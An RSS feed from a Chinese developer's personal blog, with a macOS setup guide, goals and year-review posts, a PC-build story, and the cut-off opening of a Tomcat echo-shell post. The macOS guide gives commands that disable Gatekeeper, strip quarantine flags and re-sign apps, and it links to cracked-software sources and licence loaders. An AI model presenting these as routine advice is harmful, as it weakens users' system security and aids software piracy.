<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ReaJason&apos;s Space</title><description>Keep Moving✨</description><link>https://reajason.eu.org/</link><language>en-us</language><item><title>MacBook 使用总结</title><link>https://reajason.eu.org/writing/macbookinitfordevelop/</link><guid isPermaLink="true">https://reajason.eu.org/writing/macbookinitfordevelop/</guid><pubDate>Fri, 12 Jun 2026 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;系统设置&lt;/h2&gt;
&lt;h3&gt;轻点代替点按&lt;/h3&gt;
&lt;p&gt;[System Settings] -&amp;gt; [Trackpad] -&amp;gt; [Point &amp;amp; Click] 打开 Tap to click。&lt;/p&gt;
&lt;h3&gt;三指拖动&lt;/h3&gt;
&lt;p&gt;[System Settings] -&amp;gt; [Accessibility] -&amp;gt; [Pointer Control] -&amp;gt; [Trackpad Options...] Dragging style 选择 Three Finger Drag。&lt;/p&gt;
&lt;h3&gt;光标加速&lt;/h3&gt;
&lt;p&gt;[System Settings] -&amp;gt; [Keyboard] Key repeat rate 拖到最右边，Delay until repeat 拖到最右边。&lt;/p&gt;
&lt;h3&gt;Dock 自动隐藏&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 设置启动坞动画时间设置为 0.5 秒
defaults write com.apple.dock autohide-time-modifier -float 0.5 &amp;amp;&amp;amp; killall Dock

# 设置启动坞响应时间最短
defaults write com.apple.dock autohide-delay -int 0 &amp;amp;&amp;amp; killall Dock

# 恢复启动坞默认动画时间
defaults delete com.apple.dock autohide-time-modifier &amp;amp;&amp;amp; killall Dock

# 恢复默认启动坞响应时间
defaults delete com.apple.dock autohide-delay &amp;amp;&amp;amp; killall Dock
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Finder 使用&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;复制文件的绝对路径，在目标文件右键，按下 Option 会显示 copy file as pathname，快捷键就是选中文件按 Command（⌘）+ Option（⌥）+ C&lt;/li&gt;
&lt;li&gt;显示隐藏文件，Shift（⇧）+ Command（⌘）+ .&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;常用软件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://brew.sh/&quot;&gt;Homebrew&lt;/a&gt;：命令行工具，用来下载其他命令行工具，也可以下载字体，下载 APP&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brave.com/&quot;&gt;Brave Browser&lt;/a&gt;：隐私浏览器&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.alfredapp.com/&quot;&gt;Alfred&lt;/a&gt;：代替 Spotlight 用于启动软件以及快速打开项目&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://open.spotify.com/download&quot;&gt;Spotify&lt;/a&gt;：听歌，听播客，配合 &lt;a href=&quot;https://github.com/SpotX-Official/SpotX-Bash&quot;&gt;SpotX-Official/SpotX-Bash&lt;/a&gt; 去广告&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://macos.telegram.org/&quot;&gt;Telegram&lt;/a&gt;：&lt;a href=&quot;https://t.me/qiuchenlymac&quot;&gt;@qiuchenlymac&lt;/a&gt; 破解软件大户&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cleanshot.com/&quot;&gt;CleanShot X&lt;/a&gt;：截图软件，颜值不错&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pasteapp.io/&quot;&gt;Paste&lt;/a&gt;：剪贴板，颜值不错&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/AppHouseKitchen/AlDente-Battery_Care_and_Monitoring&quot;&gt;AlDente&lt;/a&gt;：电池管理&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.keka.io&quot;&gt;Keka&lt;/a&gt;：压缩软件&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-fork.com/&quot;&gt;Fork&lt;/a&gt;：git 管理&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ghostty.org/&quot;&gt;Ghostty&lt;/a&gt;：终端应用&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mise.jdx.dev/&quot;&gt;mise&lt;/a&gt;：命令行工具，用来管理 node、java、python 等不同版本的环境&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jetbrains.com/idea/&quot;&gt;IDEA&lt;/a&gt;：不学 Java 开发不要碰，会让电脑变得不幸，https://3.jetbra.in/&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://code.visualstudio.com/download&quot;&gt;VS Code&lt;/a&gt;：写非 Java 项目或者编辑打开文本文件&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://orbstack.dev/&quot;&gt;OrbStack&lt;/a&gt;：比 Docker Desktop 轻量&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/skylot/jadx&quot;&gt;jadx&lt;/a&gt;：Java 反编译神器&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ej-technologies.com/jprofiler/download&quot;&gt;JProfiler&lt;/a&gt;：分析 heapdump 或实时监控 Java 程序，激活码见 &lt;a href=&quot;./jprofilerv15crackedwithida&quot;&gt;记录 JProfiler V15 破解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/burp/releases&quot;&gt;Burp Suite&lt;/a&gt;：网络安全接口测试必备，loader 可使用 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-demo/releases/tag/2026&quot;&gt;BurpSuiteLoader&lt;/a&gt; 支持 2026+&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.usebruno.com/&quot;&gt;Bruno&lt;/a&gt;：Postman 替代品，开发用，方便发送一些简单的 API 调用&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/app&quot;&gt;Codex&lt;/a&gt;：GUI Coding Agent，没用过 Codex 的开发不是好开发&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/farion1231/cc-switch&quot;&gt;CC Switch&lt;/a&gt;：快速切换 Claude Code、Codex 等 AI Agent 账号&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其他&lt;/h2&gt;
&lt;p&gt;飞书、微信、Todesk、腾讯会议、QQ&lt;/p&gt;
&lt;h2&gt;代理软件 - &lt;a href=&quot;https://github.com/clash-verge-rev/clash-verge-rev&quot;&gt;Clash Verge&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;我不知道没了这个软件怎么活。在尝试了各种 &lt;a href=&quot;https://github.com/SagerNet/sing-box&quot;&gt;SingBox&lt;/a&gt;、&lt;a href=&quot;https://github.com/xishang0128/sparkle&quot;&gt;Sparkle&lt;/a&gt;、&lt;a href=&quot;https://github.com/MetaCubeX/ClashX.Meta/tree/meta&quot;&gt;ClashX.Meta&lt;/a&gt; 等等客户端还是 Clash Verge 比较稳定，出了网络问题能定位到问题且没那么卡。自制节点白嫖链接：&lt;a href=&quot;https://sub.reajason.eu.org/clash.yaml&quot;&gt;clash.yaml&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;部分节点可能无法使用 22 端口，导致开启代理时 git 无法 Push，可以改用 &lt;a href=&quot;https://docs.github.com/en/authentication/troubleshooting-ssh/using-ssh-over-the-https-port&quot;&gt;SSH over HTTPS&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;常用网站&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://zh.annas-archive.gl/&quot;&gt;安娜的档案&lt;/a&gt;：找书&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://linux.do/&quot;&gt;LinuxDo&lt;/a&gt;：白嫖节点、白嫖大模型、学习新姿势&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://appstorrent.ru/&quot;&gt;appstorrent&lt;/a&gt;：老毛子 macOS 破解软件源头&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www1.ikanbot.com/&quot;&gt;爱看机器人&lt;/a&gt;：追剧看电影看综艺，比如《铁拳教育》、《飞驰人生 3》、《挽救计划》&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ani.girigirilove.com/&quot;&gt;girigirilove&lt;/a&gt;：追番，最近在看《欺诈游戏》&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typingclub.com/sportal/&quot;&gt;TypingClub&lt;/a&gt;：打字网站，偶尔上去练练打字&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;：每天必打开&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://x.com/&quot;&gt;X&lt;/a&gt;：每天必刷推特&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/&quot;&gt;BiliBili&lt;/a&gt;：看看游戏赛事直播或热门视频&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;对于无法打开的软件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 允许任何来源安装，执行命令之后能在设置隐私看到
sudo spctl --master-disable

# 文件损坏或有害？
sudo xattr -r -d com.apple.quarantine /Applications/&amp;lt;app&amp;gt;

# 打开闪退，错误信息显示签名错误之类的
sudo codesign --sign - --force --deep /Applications/&amp;lt;app&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;延伸阅读&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;https://www.rustc.cloud/mac-install&lt;/li&gt;
&lt;li&gt;https://g4ti0r.github.io/wiki/Mac/system.html&lt;/li&gt;
&lt;li&gt;https://github.com/macdao/ocds-guide-to-setting-up-mac&lt;/li&gt;
&lt;li&gt;https://blog.lkwplus.com/posts/macos-dev-setup&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>2026 新年愿望</title><link>https://reajason.eu.org/writing/2026annualgoals/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2026annualgoals/</guid><pubDate>Tue, 24 Feb 2026 23:10:00 GMT</pubDate><content:encoded>&lt;p&gt;作为技术人员，产品和客户都会来我这儿“许愿”，问我这功能能不能做，什么时候能做好；&lt;/p&gt;
&lt;p&gt;作为开源爱好者，经常会有 issues 来“许愿”能不能实现某某功能；&lt;/p&gt;
&lt;p&gt;而作为 AI 时代的 coder，天天就是对着各大 AI 模型“许愿”，希望能解决我提出的问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 开坑至少 5 个开源小工具项目（寻找某个功能点少但价值高的软件应用场景）&lt;/li&gt;
&lt;li&gt;[ ] 重学《代码大全》等软件工程相关知识，自主探索和学习 AI 场景下 coding best practice，上网冲浪跟紧时代的步伐&lt;/li&gt;
&lt;li&gt;[ ] 完整实现 &lt;a href=&quot;https://github.com/ReaJason/No-one&quot;&gt;No One&lt;/a&gt; 开源后台管理项目（打造网安界的 RuoYi，编写一套连接管理和对应操作的后台管理项目文档 - 与编码语言无关）并用于实践 AI coding 相关技术&lt;/li&gt;
&lt;li&gt;[ ] 持续维护 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt;，完善基础文档，争取突破 2k star 成为 GitHub &lt;a href=&quot;https://github.com/topics/memshell&quot;&gt;memshell&lt;/a&gt; topic 下的第一开源项目&lt;/li&gt;
&lt;li&gt;[ ] 使用 Things 3 合理安排工作和学习计划，形成正反馈，争取较长时间保持在一种干劲十足的状态&lt;/li&gt;
&lt;li&gt;[ ] 一个人偶尔周末还是要多出去走走，散散心&lt;/li&gt;
&lt;li&gt;[ ] 少刷点流式 APP，打破信息茧房的第一步就是主动寻找，善用 AI 探索更多知识，享受健康美好生活&lt;/li&gt;
&lt;li&gt;[ ] 做五次左右的 PPT 形式的公开技术分享（中文会议形式 - 分享内容不限：内存马/RASP/代码开发/AI 编码等等），并使用 AI 将演讲逐字稿翻成英文，录制一遍放 YouTube 上&lt;/li&gt;
&lt;li&gt;[ ] 月更博客（每月都写一篇博客，或者写 12 篇博客也许也行）&lt;/li&gt;
&lt;li&gt;[ ] 保护好身体少熬夜（按时上班/按时睡觉/偶尔在家跳跳活动活动身体）&lt;/li&gt;
&lt;li&gt;[ ] 买个台式电脑使用的耳机/音响&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>2025 年度总结</title><link>https://reajason.eu.org/writing/2025annualsummary/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2025annualsummary/</guid><pubDate>Wed, 31 Dec 2025 23:24:53 GMT</pubDate><content:encoded>&lt;h2&gt;”他们为什么要打架“&lt;/h2&gt;
&lt;p&gt;每个 PVP（玩家对战）游戏都有胜利所需要达成的条件，例如枪战游戏需要击杀足够数量的敌方单位或者炸掉目标地点等，而这句 ⌈他们为什么要打架⌋ 常出现在 PVP 游戏视频下，颇有些搞笑，并且一般回复都是⌈因为立场不同⌋，更是一本正经地说笑了。&lt;/p&gt;
&lt;p&gt;最开始接触英雄联盟的时候，经常上网看视频学习别人的玩法，看各种游戏视频，后来大学时五排，因为我玩打野能 carry 所以有野爹一称，不过也只是在铂金段位徘徊。最近两年偶尔上号，随着技术的下降，一上号就感觉自己菜得要命，设计师也开始教玩家怎么玩游戏，游戏慢慢地没了正反馈，即使尝试了海克斯大乱斗，同样也没有获得任何反馈，因此再也没玩过了。&lt;/p&gt;
&lt;p&gt;Dota2、PUBG 等等 PVP 游戏同样也经历了这样一个过程。每每想到在现实中要人与人交流，到了游戏中还要 PVP（玩家对战）争锋相对，当实力无法满足好胜心时，便感到身心俱疲。这个时候应该玩玩 PVE（人机对战），但 PVE 又会比较无聊，因此没有太高的兴趣，时不时会退坑游戏一段时间。&lt;/p&gt;
&lt;p&gt;刚好让我想到了今年的学习工作状况。遥想当初入门网络安全时每天废寝忘食地学习，下班回去还要学两个小时，周末还要去公司加班学习，慢慢地变成准时上下班，闲暇之余也少有学习，周末宁愿打开无聊的游戏也不愿学习更多新的知识......当工作和学习失去了反馈，仿佛做什么都没有太多意义。&lt;/p&gt;
&lt;p&gt;Maybe life is a game，我们不去学习游戏规则，可能就会被淘汰，或者是玩不下去主线任务。即便如此，我们仍然可以给自己设定目标和计划，建立独有的反馈系统，而无须他人去评判我们的行为是否符合他们的预期，既可以适度放任自己的偷懒行为，也要能抓住自己每一次干劲十足的时刻，be yourself and love yourself。&lt;/p&gt;
&lt;h2&gt;弄丢了唯一的“生产资料”&lt;/h2&gt;
&lt;p&gt;从家回北京的第一天，我就不小心把装有电脑/压岁钱等等的书包落在地铁上了，无疑是给刚出门上班的我当头一棒，好在有女朋友的陪伴、同事的帮助和民警的协助，最终花了五天时间从拾取者的家中完好无损地拿回了我的书包。第一次向民警寻求帮助，还专门送了锦旗，&lt;a href=&quot;/writing/losemybackbag&quot;&gt;地铁·书包·警察·锦旗&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;RASP 核心开发者&lt;/h2&gt;
&lt;p&gt;上半年一直在忙 RASP 3.0 的重构工作，编写新的策略引擎系统，实现可通过平台下发各种切点防护规则，研究各种 Java Web 漏洞加强 RASP 防护规则。如果说职业生涯初期的目标是进入一个优秀的团队，从事公司的核心业务，并且成为核心业务的核心开发人员，那么我的目标俨然已经完成了。年末也有幸被公司推荐去华为的一个 AI+ 网络论坛大会介绍我们公司的产品以及自己做的内存马生成项目。&lt;/p&gt;
&lt;h2&gt;在网络上留下足迹&lt;/h2&gt;
&lt;p&gt;在刚开始学习计算机时我就读一本书叫作《软技能：代码之外的生存指南》，书中推荐程序员 should 打造个人 IP，写博客，做视频等等。今年定的一个月一篇博客，本来要写 12 篇的，不过写了 7 篇也不错了，毕竟在 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty/tree/master/web/content/docs&quot;&gt;MemShellParty/docs&lt;/a&gt; 也写了蛮多文档。&lt;/p&gt;
&lt;p&gt;整年度一直在做的开源项目 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt;也有了 1.2k star，腾讯/长亭/奇安信等等知名攻防实验室都有关注这个项目，老板出去和客户交流也会遇到客户在用 MemShellParty 做攻防演练，并且在闲暇时间还和 MemShellParty 内部群的师傅做了两次腾讯会议分享，和攻防大佬一起交流学习。看到这个项目被很多人使用，很是欣慰。&lt;/p&gt;
&lt;p&gt;借助 MemShellParty 这个开源项目，成功加入了 &lt;a href=&quot;https://github.com/Java-Chains&quot;&gt;Java-Chains&lt;/a&gt; 组织，进入了 &lt;a href=&quot;https://wx.zsxq.com/group/555848225184&quot;&gt;@chybeta 的漏洞百出&lt;/a&gt; 和 &lt;a href=&quot;https://su18.org/post/CVE-2025-55182/&quot;&gt;su 哥的 SuShell 养成记&lt;/a&gt;，作为一个初出茅庐的网安新人，我有幸能和一线攻防大佬一起学习，了解前沿的一些漏洞技巧和攻防知识，十分激动。即使 RASP 规则列表囊括了几乎所有的 Java Web 常见漏洞，但是深入到每一个漏洞类型的攻击面，仍然还有很多需要学习和巩固的地方。未来也会持续做开源项目，在网络上留下更多的足迹👣，期待我们在下一个项目上相遇~，例如&lt;a href=&quot;https://github.com/ReaJason/No-one&quot;&gt;No one —— Next Generation Java WebShell Manager&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;AAA 全国可飞&lt;/h2&gt;
&lt;p&gt;年初因为没有抢到火车票，被迫坐了昂贵的飞机从北京飞回长沙，回家过年。三月中旬飞去厦门找女朋友玩，去了曾厝垵看日落，玩完就去上海出差，去了静安雕塑公园看郁金香，COSER 浓度拉满，去富民路，国外友人拉满，喝了去茶山和阿嬷手作。四月底飞去郴州，以伴郎的身份参加了大学好朋友的婚礼，在家用 XBOX 玩了双影奇境。五月下旬飞去厦门找女朋友，去集美学村吃了灵感与饥饿感的牛排、意面和鳗鱼饭，在鳗烟吃了鹅肝、烧鸟、牛肉和鳗鱼饭。六月中旬和女朋友一起飞去了成都，喝了 JPG 茉莉冷萃，去爱妻·非遗鲜牛排火锅吃了一斤牛排，在九寨沟玩了一天，体验了井然有序的摆渡车，和无敌的插队老年团。在 No.32 Bistro 酒吧点了三杯酒坐了 3 小时。最后一天在饕林餐厅吃了兔头、辣子鸡和黑豆腐。十月国庆回了趟家，参加了高中好朋友的婚礼，陪高中班主任老师干了杯茅台，晕了一天。十一月底受邀飞去武汉，参加了华为 AI+ 网络论坛，分享了 RASP/内存马和 AI 研判相关的知识。&lt;/p&gt;
&lt;h2&gt;游戏人生&lt;/h2&gt;
&lt;p&gt;学习和工作的干劲基本在上半年就耗尽了，早在 618 就想配台式机玩游戏，不过当时正处于 code is funny 时期，每天下班回家就写代码。到了双十一因为苦于笔记本玩 PUBG 有点卡顿发热严重，终于决定配台式机，于是有了 &lt;a href=&quot;/writing/firstdesktopcomputer&quot;&gt;记第一次装机 - 9800X3D/9070XT&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;AI Coding&lt;/h2&gt;
&lt;p&gt;今年无疑是 AI 快速发展的一年，从最开始的 AI Chat 模式，沟通解决方案，生成代码片段；到出现 Cursor like 的 AI IDE，代码重构时 tab 的自动识别真体验到智能的感觉；而目前 Claude Code 的 AI Agent 模式成为主流，搭配各种 MCP/Skills 扩展 AI 的能力实现各种各样的事情。像是 dify 或者 n8n 这类 AI workflow 因为没有特别自动化的需求所以并没有尝试过。&lt;/p&gt;
&lt;p&gt;AI 的出现的确方便了很多，以至于现在出现问题，不是打开 Google Search 而是打开 AI ChatBox 输入。AI 是个好工具，我希望我能用好它。&lt;/p&gt;
&lt;h2&gt;Life Is a Game&lt;/h2&gt;
&lt;p&gt;地球 Online - I hope we play well together and move forward side by side.&lt;/p&gt;
</content:encoded></item><item><title>记第一次装机 - 9800X3D/9070XT</title><link>https://reajason.eu.org/writing/firstdesktopcomputer/</link><guid isPermaLink="true">https://reajason.eu.org/writing/firstdesktopcomputer/</guid><pubDate>Sun, 26 Oct 2025 13:50:00 GMT</pubDate><content:encoded>&lt;h2&gt;游戏人生&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;游戏对我来说一直是社交属性，我零星几个好朋友无一例外都是和我常年开黑玩游戏的人（除了女朋友）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;小时候暑假基本就是去亲戚家住，玩一个暑假。五岁那年暑假，叔叔接我去他家玩，第一次接触到电脑，注册了 QQ 玩了魔兽争霸（真三国无双、澄海 3C 等等），后面的暑假就是去姑姑家和小朋友一起玩 4399 里面游戏。因为家里没有电脑，在家的时候就去隔壁家里一起玩他的电脑，玩 QQ 飞车、穿越火线、4399 等等，还蹭他家冰淇淋吃（有一次在他家玩完回家，他家大人突然说钱不见了，就找上门来破口大骂说我拿的，小时候别人骂我我就说不上话，哽咽着只能哭出声来，后来了解到当时我走后有另一个小朋友去了他家拿走的钱。这之后再也没去过他家，他们家人也没和我道歉，不过也不在意了）。&lt;/p&gt;
&lt;p&gt;初二接触了英雄联盟就有了网瘾，上学的时候就和同学讨论游戏，周末回家就去黑网吧玩（有钱就自己玩，没钱就站别人后面看别人玩），因为当时在外婆家附近上学，所以一直住在外婆家，有次去黑网吧还被我舅舅给领回去了。&lt;/p&gt;
&lt;p&gt;之后，我老弟家配了电脑，暑假就去他家一起玩游戏，当时他爸妈每天早上三四点钟出门上班，听到他们出门的声音我们就爬起来去玩电脑，玩 CSOL、英雄联盟、穿越火线等等。三四点外面天还是黑的，电脑屏幕开最低亮度也发挺大的光，有几次他奶奶大早上起来上厕所看楼上窗外有光，发现我们这么早就在玩电脑，还喊我们去睡觉，后来我们专门用块布挡着在布里面玩游戏（我老弟玩的电脑游戏全是我教他玩的，后面英雄联盟我亚索打他的劫 solo 也打不赢了）。&lt;/p&gt;
&lt;p&gt;之后，我外婆家也配了电脑，我就开始和姐姐抢着玩电脑了，有次晚上她一直在玩 QQ 飞车，我说我想玩，她不让，我就说我要去网吧玩，后来舅妈他们追出来找我，因为当时是晚上，路上基本没车，我看到后面有电摩的声音，我就猜测是他们的车，我就躲到田里去了，然后往回走，等他们回来的时候，我已经在家里了，后来的事情就忘记了，应该是让我玩电脑了（鉴定为网瘾上来了）。&lt;/p&gt;
&lt;p&gt;之后，有一次生日我妈问我生日礼物想要什么，我说想要一台台式主机，就给我配了一台 i3 3 代的主机（忘记显卡是啥了），从此在家就能玩上英雄联盟。每日每夜玩，吃饭也喊不动我，我爸一度想砸掉我的台式机，每次吃饭时候喊不动我，我都要解释一下游戏开了暂停不了，下次吃饭前早点提醒我别开下一把了，慢慢地他们接收了这个设定。&lt;/p&gt;
&lt;p&gt;上大学的时候因为需要用电脑，就把这台 i3 3 代的机器搬到了学校，只能玩一些网游，英雄联盟和穿越火线啥的，PUBG 什么的都玩不了，后来学到专业领域，需要使用 AutoCAD 和 ArcGIS 不得不买一台性能更强一点的电脑，于是大二的时候让我妈出钱买了一台游戏本，炫龙 KP 2 代（i5 8 代桌面 U + 1060 6G）价值 7k，一直服役到现在。&lt;/p&gt;
&lt;p&gt;工作之后慢慢对游戏失去了兴趣，玩英雄联盟打不赢别人，玩 PUBG 看不到人就死，玩成了恐怖游戏，也不再接触新的游戏，比起玩游戏，写代码成了更开心一点的事情，不过除了游戏自己无法和其他人建立联系，偶尔还是会上上号开开黑，这样能和人说说话。&lt;/p&gt;
&lt;h2&gt;整一台台式机&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;对于爱玩游戏的我们来说，都想整一台高性能的台式机打游戏趴&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我大一折腾我那个 i3 3 代的台式机，插拔内存条、换固态、扣主板电源、重做系统等等，当时甚至还写了重做系统的教程（&lt;a href=&quot;https://mp.weixin.qq.com/s/IKlydowDHxplpeJ6h3wxeg&quot;&gt;电脑装机教程&lt;/a&gt;），也时常听电脑城的各种奸商的故事，所以整台式机，肯定是自己买配件自己装。&lt;/p&gt;
&lt;p&gt;早在刚出来工作的时候，我大学朋友就喊我赶紧整台台式机一起玩，但迫于对工作的迷茫以及不确定性，一直没有整，主要害怕搬家太麻烦，且刚出来工作还是先学习比较好。&lt;/p&gt;
&lt;p&gt;今年 618 的时候就写了一套配置，准备装机，但是奈何显卡价格太贵一时无法接受，且当时正在沉迷于写代码，并没有对游戏有太大的兴趣，就没那么强烈的需求，所以并没有购机。&lt;/p&gt;
&lt;p&gt;这两个月一直在玩 PUBG，这台笔记本慢慢地有些掉帧了，外加了一个风扇散热也抵不住帧率不稳定，也碰巧双十一显卡降价了，在工作这几年相继给女朋友买了 iPhone 14 Pro/Mac Air M1、给我爸买了台机械革命翼龙 15 Pro、给我妈买了 OPPO Find X8 Ultra，想着该给自己整大件了，于是有了装机的想法，得整一个。&lt;/p&gt;
&lt;h2&gt;装机配置&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;在预算范围之类尽可能参考其他人的配置清单，选购适合自己的配件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于硬盘价格一直在涨，内存条也在涨，硬盘直接沿用我笔记本的固态 1T + 机械盘 1T，内存条使用全新的 DDR5 平台不得不买新的，恰好刷到一个比较便宜一点的就刚需买了，机箱风扇是必须要整的，给同事分享了我的配置之后，他说给我降点预算送我了三把 NF-F12 PWM 机箱风扇，直接起飞，总计 10607 元。（显卡是女朋友买的，刚好用上她的 88VIP 5000-500 的券，算做我的生日礼物）&lt;strong&gt;购买配件前一定要在各个平台进行比价&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;型号&lt;/th&gt;
&lt;th&gt;价格&lt;/th&gt;
&lt;th&gt;渠道&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;板 U&lt;/td&gt;
&lt;td&gt;AMD R7-9800X3D/华硕 TUF GAMING B850M-PLUS WIFI&lt;/td&gt;
&lt;td&gt;3999&lt;/td&gt;
&lt;td&gt;抖音&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;显卡&lt;/td&gt;
&lt;td&gt;讯景 AMD RX9070XT OC 海外版 Pro 16G&lt;/td&gt;
&lt;td&gt;4457&lt;/td&gt;
&lt;td&gt;淘宝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存条&lt;/td&gt;
&lt;td&gt;光威 龙武黑海力士 A-die 双面 DDR5 6000 C28 16GB * 2&lt;/td&gt;
&lt;td&gt;1053&lt;/td&gt;
&lt;td&gt;京东&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;电源&lt;/td&gt;
&lt;td&gt;爱国者星璨 EV850W 极客版白金牌 黑色&lt;/td&gt;
&lt;td&gt;543&lt;/td&gt;
&lt;td&gt;京东&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;风冷&lt;/td&gt;
&lt;td&gt;酷里奥倚天 P60T 性能版 V3&lt;/td&gt;
&lt;td&gt;244&lt;/td&gt;
&lt;td&gt;抖音&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;机箱&lt;/td&gt;
&lt;td&gt;爱国者 扶摇千里 mesh 网孔&lt;/td&gt;
&lt;td&gt;311&lt;/td&gt;
&lt;td&gt;京东&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在主板上装 CPU 和内存条是最简单的事情，不过在我打开电源盒包装，看到杂七杂八的线的时候，就开始 panic 了，不得不反复学习装机视频，看到了 &lt;a href=&quot;https://b23.tv/VOvwxNW&quot;&gt;【装机教程】全网最好的装机教程，没有之一 - 哔哩哔哩&lt;/a&gt; 还不错。慢慢折腾一次点亮，建议全程戴手套，我在给显卡插电源线的时候，被显卡的散热片给划伤流血了。&lt;/p&gt;
&lt;p&gt;我之前固态里面就有系统，不过之前是 N 卡驱动，装了 A 卡驱动玩 PUBG 也有点掉帧，重做系统之后就完美运行了。因此新平台最好重做系统和驱动。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;游戏测试&lt;/h2&gt;
&lt;p&gt;我当前显示器是 1080p/144 hz，之前 1060 N 卡用不了 DP 接口的笔记本导致我一直没能使用到 144 hz，这次的台式机配置终于让我打开了显示器 144 hz，因此对于之前来说也是提升，且画质基本可以开全高，有点眼前一亮的感觉，还不用急着换显示器。&lt;/p&gt;
&lt;p&gt;分别整了一把三角洲、PUBG、DOTA2、英雄联盟，能锁帧率的游戏基本锁定在了 144 同显示器一样，整体玩下来，CPU 风冷和显卡风扇不带怎么转的，随便玩。不过一晚上没人来一起打游戏，游戏的最高配置果然还是能有一起开黑的朋友。&lt;/p&gt;
</content:encoded></item><item><title>Tomcat 通用回显初见到全版本适配</title><link>https://reajason.eu.org/writing/tomcatechoshell/</link><guid isPermaLink="true">https://reajason.eu.org/writing/tomcatechoshell/</guid><pubDate>Mon, 04 Aug 2025 21:42:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;第一次真正去了解回显马，发现还是挺神奇的&lt;/li&gt;
&lt;li&gt;很多项目中充斥着只写了一两版的代码，还有直接 CV 的，我将带领大家写出真正可维护的代码（漂亮代码）&lt;/li&gt;
&lt;li&gt;学习一下使用 JProfiler 分析 heapDump 的对象引用来解决 Tomcat5 的回显适配&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前言&lt;/h2&gt;
